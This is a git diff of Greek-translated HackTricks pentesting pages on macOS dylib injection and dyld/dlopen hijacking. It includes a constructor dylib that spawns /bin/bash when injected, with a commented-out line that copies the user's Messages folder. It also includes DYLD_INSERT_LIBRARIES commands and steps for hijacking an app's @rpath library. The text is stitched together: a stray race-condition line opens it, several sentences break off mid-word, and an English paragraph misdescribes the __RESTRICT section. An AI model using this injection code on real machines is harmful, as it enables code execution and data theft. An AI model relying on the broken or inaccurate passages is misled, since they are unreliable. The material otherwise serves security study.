5. Αυτή η ενέργεια ενεργοποιεί μια κατάσταση ανταγωνισμού μέσα στη λειτουργία `handle_bless`. Το χρονισμός είναι κρίσιμος: η κλήση της λειτουργίας `xpc_connection_get_pid` πρέπει να επιστρέψει το PID της διεργασίας του χρήστη (καθώς το εργαλείο με τα προνομιακά διαμένει στο δέμα εφαρμογής του χρήστη). Ωστόσο, η λειτουργία `xpc_connection_get_audit_token`, ειδικά μέσα στην υπορουτίνα `connection_is_authorized`, πρέπει να αναφέρεται στο αυτενεργό τεκμήριο που ανήκει στο `diagnosticd`.
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Εισαγωγή Βιβλιοθήκης στο macOS
|
# macOS Library Injection
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -20,11 +20,10 @@
|
||||||
|
|
||||||
## **DYLD\_INSERT\_LIBRARIES**
|
## **DYLD\_INSERT\_LIBRARIES**
|
||||||
|
|
||||||
Αυτό είναι παρόμοιο με το [**LD\_PRELOAD στο Linux**](../../../../linux-hardening/privilege-escalation#ld\_preload). Επιτρέπει να υποδείξετε σε ένα διεργασία που θα εκτελεστεί να φορτώσει μια συγκεκριμένη βιβλιοθήκη από ένα δρομολόγιο (εάν η μεταβλητή περιβάλλοντος είναι ενεργοποιημένη)
|
Αυτό είναι παρόμοιο με το [**LD\_PRELOAD στο Linux**](../../../../linux-hardening/privilege-escalation/#ld\_preload). Επιτρέπει να υποδείξετε σε ένα διεργασία που θα εκτελεστεί να φορτώσει μια συγκεκριμένη βιβλιοθήκη από ένα δρομολόγιο (εάν η μεταβλητή περιβάλλοντος είναι ενεργοποιημένη)
|
||||||
|
|
||||||
Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί ως τεχνική ASEP καθώς κάθε εγκατεστημένη εφαρμογή έχει ένα plist με το όνομα "Info.plist" που επιτρέπει την ανάθεση περιβαλλοντικών μεταβλητών χρησιμοποιώντας ένα κλειδί με το όνομα `LSEnvironmental`.
|
Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί ως τεχνική ASEP καθώς κάθε εγκατεστημένη εφαρμογή έχει ένα plist με το όνομα "Info.plist" που επιτρέπει την ανάθεση περιβαλλοντικών μεταβλητών χρησιμοποιώντας ένα κλειδί με το όνομα `LSEnvironmental`.
|
||||||
|
|
||||||
{% hint style="info" %}
|
|
||||||
Από το 2012, η Apple έχει μειώσει δραστικά την ισχύ του `DYLD_INSERT_LIBRARIES`.
|
Από το 2012, η Apple έχει μειώσει δραστικά την ισχύ του `DYLD_INSERT_LIBRARIES`.
|
||||||
|
|
||||||
Μεταβείτε στον κώδικα και ελέγξτε το `src/dyld.cpp`. Στη συνάρτηση `pruneEnvironmentVariables` μπορείτε να δείτε ότι οι μεταβλητές `DYLD_*` αφαιρούνται.
|
Μεταβείτε στον κώδικα και ελέγξτε το `src/dyld.cpp`. Στη συνάρτηση `pruneEnvironmentVariables` μπορείτε να δείτε ότι οι μεταβλητές `DYLD_*` αφαιρούνται.
|
||||||
|
@ -37,6 +36,7 @@
|
||||||
* Ελέγξτε τους εντοπισμούς ενός δυαδικού με: `codesign -dv --entitlements :- </path/to/bin>`
|
* Ελέγξτε τους εντοπισμούς ενός δυαδικού με: `codesign -dv --entitlements :- </path/to/bin>`
|
||||||
|
|
||||||
Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτήν τη λογική στο δεύτερο μέρος της συνάρτησης `configureProcessRestrictions`. Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι αρχικοί έλεγχοι της συνάρτησης (μπορείτε να αφαιρέσετε τα ifs που σχετίζοντ
|
Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτήν τη λογική στο δεύτερο μέρος της συνάρτησης `configureProcessRestrictions`. Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι αρχικοί έλεγχοι της συνάρτησης (μπορείτε να αφαιρέσετε τα ifs που σχετίζοντ
|
||||||
|
|
||||||
* Εάν το **`LC_LOAD_DYLIB`** περιέχει `@rpath/library.dylib` και το **`LC_RPATH`** περιέχει `/application/app.app/Contents/Framework/v1/` και `/application/app.app/Contents/Framework/v2/`. Και οι δύο φάκελοι θα χρησιμοποιηθούν για να φορτωθεί το `library.dylib`**.** Εάν η βιβλιοθήκη δεν υπάρχει στον φάκελο `[...]/v1/` και ο επιτιθέμενος μπορεί να την τοποθετήσει εκεί για να αποκτήσει τον έλεγχο της φόρτωσης της βιβλιοθήκης στον φάκελο `[...]/v2/` καθώς ακολουθείται η σειρά των διαδρομών στο **`LC_LOAD_DYLIB`**.
|
* Εάν το **`LC_LOAD_DYLIB`** περιέχει `@rpath/library.dylib` και το **`LC_RPATH`** περιέχει `/application/app.app/Contents/Framework/v1/` και `/application/app.app/Contents/Framework/v2/`. Και οι δύο φάκελοι θα χρησιμοποιηθούν για να φορτωθεί το `library.dylib`**.** Εάν η βιβλιοθήκη δεν υπάρχει στον φάκελο `[...]/v1/` και ο επιτιθέμενος μπορεί να την τοποθετήσει εκεί για να αποκτήσει τον έλεγχο της φόρτωσης της βιβλιοθήκης στον φάκελο `[...]/v2/` καθώς ακολουθείται η σειρά των διαδρομών στο **`LC_LOAD_DYLIB`**.
|
||||||
* **Βρείτε τις διαδρομές rpath και τις βιβλιοθήκες** στα δυαδικά αρχεία με: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
* **Βρείτε τις διαδρομές rpath και τις βιβλιοθήκες** στα δυαδικά αρχεία με: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
|
||||||
|
|
||||||
|
@ -58,8 +58,8 @@
|
||||||
|
|
||||||
**Παράδειγμα**
|
**Παράδειγμα**
|
||||||
|
|
||||||
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Dlopen Hijacking
|
## Dlopen Hijacking
|
||||||
|
@ -71,11 +71,13 @@
|
||||||
Από το **`man dlopen`**:
|
Από το **`man dlopen`**:
|
||||||
|
|
||||||
* Όταν η διαδρομή **δεν περιέχει τον χαρακτήρα κάθετος** (δηλαδή είναι απλά ένα όνομα φακέλου), το dlopen() θα κάνει αναζήτηση. Εάν το **`$DYLD_LIBRARY_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα ψάξει πρώτα σε αυτόν τον φάκελο. Στη συνέχεια, εάν το καλούντα Mach-O αρχείο ή το κύριο εκτελέσιμο καθορίζουν ένα **`LC_RPATH`**, τότε το dyld θα ψάξει σε αυτούς τους φακέλους. Στη συνέχεια, εάν η διεργασία είναι **απεριόριστη**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα δοκιμάσει μερικές εναλλακτικές λύσεις. Εάν το **`$DYLD_FALLBACK_LIBRARY_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτούς τους φακέλους, διαφορετικά, το dyld θα ψάξει στο **`/usr/local/lib/`** (εάν η διεργασία είναι απεριόριστη), και στη συνέχεια στο **`/usr/lib/`** (αυτές οι πληροφορίες προήλθαν από το **`man dlopen`**).
|
* Όταν η διαδρομή **δεν περιέχει τον χαρακτήρα κάθετος** (δηλαδή είναι απλά ένα όνομα φακέλου), το dlopen() θα κάνει αναζήτηση. Εάν το **`$DYLD_LIBRARY_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα ψάξει πρώτα σε αυτόν τον φάκελο. Στη συνέχεια, εάν το καλούντα Mach-O αρχείο ή το κύριο εκτελέσιμο καθορίζουν ένα **`LC_RPATH`**, τότε το dyld θα ψάξει σε αυτούς τους φακέλους. Στη συνέχεια, εάν η διεργασία είναι **απεριόριστη**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα δοκιμάσει μερικές εναλλακτικές λύσεις. Εάν το **`$DYLD_FALLBACK_LIBRARY_PATH`** ήταν ορισμένο κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτούς τους φακέλους, διαφορετικά, το dyld θα ψάξει στο **`/usr/local/lib/`** (εάν η διεργασία είναι απεριόριστη), και στη συνέχεια στο **`/usr/lib/`** (αυτές οι πληροφορίες προήλθαν από το **`man dlopen`**).
|
||||||
|
|
||||||
1. `$DYLD_LIBRARY_PATH`
|
1. `$DYLD_LIBRARY_PATH`
|
||||||
2. `LC_RPATH`
|
2. `LC_RPATH`
|
||||||
3. `CWD`(εάν είναι απεριόριστη)
|
3. `CWD`(εάν είναι απεριόριστη)
|
||||||
4. `$DYLD_FALLBACK_LIBRARY_PATH`
|
4. `$DYLD_FALLBACK_LIBRARY_PATH`
|
||||||
5. `/usr/local/lib/` (εάν είναι απεριό
|
5. `/usr/local/lib/` (εάν είναι απεριό
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
|
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
|
||||||
#include <dlfcn.h>
|
#include <dlfcn.h>
|
||||||
|
@ -118,10 +120,13 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Εάν το μεταγλωττίσετε και το εκτελέσετε, μπορείτε να δείτε **πού αναζητήθηκε ανεπιτυχώς κάθε βιβλιοθήκη**. Επίσης, μπορείτε να **φιλτράρετε τα αρχεία καταγραφής του συστήματος αρχείων**:
|
Εάν το μεταγλωττίσετε και το εκτελέσετε, μπορείτε να δείτε **πού αναζητήθηκε ανεπιτυχώς κάθε βιβλιοθήκη**. Επίσης, μπορείτε να **φιλτράρετε τα αρχεία καταγραφής του συστήματος αρχείων**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo fs_usage | grep "dlopentest"
|
sudo fs_usage | grep "dlopentest"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Απάτη με σχετική διαδρομή
|
## Απάτη με σχετική διαδρομή
|
||||||
|
|
||||||
Εάν ένα **προνομιούχο δυαδικό/εφαρμογή** (όπως ένα SUID ή κάποιο δυαδικό με ισχυρά entitlements) φορτώνει μια βιβλιοθήκη με **σχετική διαδρομή** (για παράδειγμα χρησιμοποιώντας `@executable_path` ή `@loader_path`) και έχει απενεργοποιημένο τον έλεγχο της βιβλιοθήκης, είναι δυνατόν να μετακινηθεί το δυαδικό σε μια τοποθεσία όπου ο επιτιθέμενος μπορεί να **τροποποιήσει τη φορτωμένη βιβλιοθήκη με τη σχετική διαδρομή** και να την καταχραστεί για να εισαγάγει κώδικα στη διεργασία.
|
Εάν ένα **προνομιούχο δυαδικό/εφαρμογή** (όπως ένα SUID ή κάποιο δυαδικό με ισχυρά entitlements) φορτώνει μια βιβλιοθήκη με **σχετική διαδρομή** (για παράδειγμα χρησιμοποιώντας `@executable_path` ή `@loader_path`) και έχει απενεργοποιημένο τον έλεγχο της βιβλιοθήκης, είναι δυνατόν να μετακινηθεί το δυαδικό σε μια τοποθεσία όπου ο επιτιθέμενος μπορεί να **τροποποιήσει τη φορτωμένη βιβλιοθήκη με τη σχετική διαδρομή** και να την καταχραστεί για να εισαγάγει κώδικα στη διεργασία.
|
||||||
|
@ -133,12 +138,15 @@ sudo fs_usage | grep "dlopentest"
|
||||||
Επίσης, θα ορίσει σε **null** ειδικά τις μεταβλητές περιβάλλοντος **`DYLD_FALLBACK_FRAMEWORK_PATH`** και **`DYLD_FALLBACK_LIBRARY_PATH`** για δυαδικά με **suid** και **sgid**.
|
Επίσης, θα ορίσει σε **null** ειδικά τις μεταβλητές περιβάλλοντος **`DYLD_FALLBACK_FRAMEWORK_PATH`** και **`DYLD_FALLBACK_LIBRARY_PATH`** για δυαδικά με **suid** και **sgid**.
|
||||||
|
|
||||||
Αυτή η συνάρτηση καλείται από τη συνάρτηση **`_main`** του ίδιου αρχείου εάν στοχεύει σε OSX ως εξής:
|
Αυτή η συνάρτηση καλείται από τη συνάρτηση **`_main`** του ίδιου αρχείου εάν στοχεύει σε OSX ως εξής:
|
||||||
|
|
||||||
```cpp
|
```cpp
|
||||||
#if TARGET_OS_OSX
|
#if TARGET_OS_OSX
|
||||||
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
||||||
pruneEnvironmentVariables(envp, &apple);
|
pruneEnvironmentVariables(envp, &apple);
|
||||||
```
|
```
|
||||||
|
|
||||||
και αυτές οι λογικές σημαίες ορίζονται στον ίδιο αρχείο στον κώδικα:
|
και αυτές οι λογικές σημαίες ορίζονται στον ίδιο αρχείο στον κώδικα:
|
||||||
|
|
||||||
```cpp
|
```cpp
|
||||||
#if TARGET_OS_OSX
|
#if TARGET_OS_OSX
|
||||||
// support chrooting from old kernel
|
// support chrooting from old kernel
|
||||||
|
@ -169,6 +177,7 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted;
|
||||||
gLinkContext.allowInsertFailures = false;
|
gLinkContext.allowInsertFailures = false;
|
||||||
gLinkContext.allowInterposing = true;
|
gLinkContext.allowInterposing = true;
|
||||||
```
|
```
|
||||||
|
|
||||||
Αυτό σημαίνει ότι αν το δυαδικό αρχείο είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στις κεφαλίδες ή έχει υπογραφεί με τη σημαία **CS\_RESTRICT**, τότε το **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αφαιρούνται.
|
Αυτό σημαίνει ότι αν το δυαδικό αρχείο είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στις κεφαλίδες ή έχει υπογραφεί με τη σημαία **CS\_RESTRICT**, τότε το **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αφαιρούνται.
|
||||||
|
|
||||||
Σημειώστε ότι αν το CS\_REQUIRE\_LV είναι αληθές, τότε οι μεταβλητές δεν θα αφαιρεθούν, αλλά ο έλεγχος επικύρωσης βιβλιοθήκης θα ελέγξει αν χρησιμοποιούν το ίδιο πιστοποιητικό με το αρχικό δυαδικό αρχείο.
|
Σημειώστε ότι αν το CS\_REQUIRE\_LV είναι αληθές, τότε οι μεταβλητές δεν θα αφαιρεθούν, αλλά ο έλεγχος επικύρωσης βιβλιοθήκης θα ελέγξει αν χρησιμοποιούν το ίδιο πιστοποιητικό με το αρχικό δυαδικό αρχείο.
|
||||||
|
@ -176,6 +185,7 @@ gLinkContext.allowInterposing = true;
|
||||||
## Έλεγχος Περιορισμών
|
## Έλεγχος Περιορισμών
|
||||||
|
|
||||||
### SUID & SGID
|
### SUID & SGID
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Make it owned by root and suid
|
# Make it owned by root and suid
|
||||||
sudo chown root hello
|
sudo chown root hello
|
||||||
|
@ -186,6 +196,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||||
# Remove suid
|
# Remove suid
|
||||||
sudo chmod -s hello
|
sudo chmod -s hello
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ενότητα `__RESTRICT` με τον τομέα `__restrict`
|
### Ενότητα `__RESTRICT` με τον τομέα `__restrict`
|
||||||
|
|
||||||
The `__RESTRICT` section is a segment in macOS that is used to restrict access to certain libraries and prevent unauthorized code execution. This section is specifically designed to enhance the security of the operating system by limiting the privileges of processes.
|
The `__RESTRICT` section is a segment in macOS that is used to restrict access to certain libraries and prevent unauthorized code execution. This section is specifically designed to enhance the security of the operating system by limiting the privileges of processes.
|
||||||
|
@ -195,10 +206,12 @@ When a library is placed in the `__RESTRICT` section, it means that only privile
|
||||||
By utilizing the `__RESTRICT` section, macOS ensures that only trusted processes can interact with critical libraries, reducing the risk of privilege escalation and unauthorized access.
|
By utilizing the `__RESTRICT` section, macOS ensures that only trusted processes can interact with critical libraries, reducing the risk of privilege escalation and unauthorized access.
|
||||||
|
|
||||||
To summarize, the `__RESTRICT` section in macOS plays a crucial role in enhancing the security of the operating system by restricting access to certain libraries and preventing unauthorized code execution.
|
To summarize, the `__RESTRICT` section in macOS plays a crucial role in enhancing the security of the operating system by restricting access to certain libraries and preventing unauthorized code execution.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ενισχυμένη εκτέλεση
|
### Ενισχυμένη εκτέλεση
|
||||||
|
|
||||||
Δημιουργήστε ένα νέο πιστοποιητικό στο Keychain και χρησιμοποιήστε το για να υπογράψετε το δυαδικό αρχείο:
|
Δημιουργήστε ένα νέο πιστοποιητικό στο Keychain και χρησιμοποιήστε το για να υπογράψετε το δυαδικό αρχείο:
|
||||||
|
@ -228,15 +241,18 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Σημειώστε ότι ακόμα και αν υπάρχουν δυαδικά αρχεία με υπογραφή με σημαίες **`0x0(none)`**, μπορούν να αποκτήσουν δυναμικά τη σημαία **`CS_RESTRICT`** κατά την εκτέλεσή τους και, συνεπώς, αυτή η τεχνική δεν θα λειτουργήσει σε αυτά.
|
Σημειώστε ότι ακόμα και αν υπάρχουν δυαδικά αρχεία με υπογραφή με σημαίες **`0x0(none)`**, μπορούν να αποκτήσουν δυναμικά τη σημαία **`CS_RESTRICT`** κατά την εκτέλεσή τους και, συνεπώς, αυτή η τεχνική δεν θα λειτουργήσει σε αυτά.
|
||||||
|
|
||||||
Μπορείτε να ελέγξετε αν ένα proc έχει αυτήν τη σημαία με (πάρτε [**εδώ το csops**](https://github.com/axelexic/CSOps)): 
|
Μπορείτε να ελέγξετε αν ένα proc έχει αυτήν τη σημαία με (πάρτε [**εδώ το csops**](https://github.com/axelexic/CSOps)):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
csops -status <pid>
|
csops -status <pid>
|
||||||
```
|
```
|
||||||
|
|
||||||
και στη συνέχεια ελέγξτε εάν η σημαία 0x800 είναι ενεργοποιημένη.
|
και στη συνέχεια ελέγξτε εάν η σημαία 0x800 είναι ενεργοποιημένη.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
* [https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/](https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/)
|
|
||||||
|
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -247,7 +263,7 @@ csops -status <pid>
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -0,0 +1,187 @@
|
||||||
|
# macOS Διασπορά Dyld & DYLD\_INSERT\_LIBRARIES
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βασικό παράδειγμα DYLD\_INSERT\_LIBRARIES
|
||||||
|
|
||||||
|
**Βιβλιοθήκη για ενσωμάτωση** για την εκτέλεση ενός κέλυφους:
|
||||||
|
```c
|
||||||
|
// gcc -dynamiclib -o inject.dylib inject.c
|
||||||
|
|
||||||
|
#include <syslog.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
__attribute__((constructor))
|
||||||
|
|
||||||
|
void myconstructor(int argc, const char **argv)
|
||||||
|
{
|
||||||
|
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
|
||||||
|
printf("[+] dylib injected in %s\n", argv[0]);
|
||||||
|
execv("/bin/bash", 0);
|
||||||
|
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Δυαδικός κώδικας για επίθεση:
|
||||||
|
```c
|
||||||
|
// gcc hello.c -o hello
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
printf("Hello, World!\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Έγχυση:
|
||||||
|
```bash
|
||||||
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||||
|
```
|
||||||
|
## Παράδειγμα Dyld Hijacking
|
||||||
|
|
||||||
|
Το ευάλωτο δυαδικό αρχείο που επιθυμούμε να εκμεταλλευτούμε είναι το `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="entitlements" %}
|
||||||
|
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||||
|
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||||||
|
</strong></code></pre>
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="LC_RPATH" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
# Check where are the @rpath locations
|
||||||
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||||
|
cmd LC_RPATH
|
||||||
|
cmdsize 32
|
||||||
|
path @loader_path/. (offset 12)
|
||||||
|
--
|
||||||
|
cmd LC_RPATH
|
||||||
|
cmdsize 32
|
||||||
|
path @loader_path/../lib2 (offset 12)
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="@rpath" %}
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
# Check librareis loaded using @rapth and the used versions
|
||||||
|
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
||||||
|
name @rpath/lib.dylib (offset 24)
|
||||||
|
time stamp 2 Thu Jan 1 01:00:02 1970
|
||||||
|
current version 1.0.0
|
||||||
|
compatibility version 1.0.0
|
||||||
|
# Check the versions
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
Με τις προηγούμενες πληροφορίες γνωρίζουμε ότι **δεν ελέγχει την υπογραφή των φορτωμένων βιβλιοθηκών** και προσπαθεί να φορτώσει μια βιβλιοθήκη από:
|
||||||
|
|
||||||
|
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||||
|
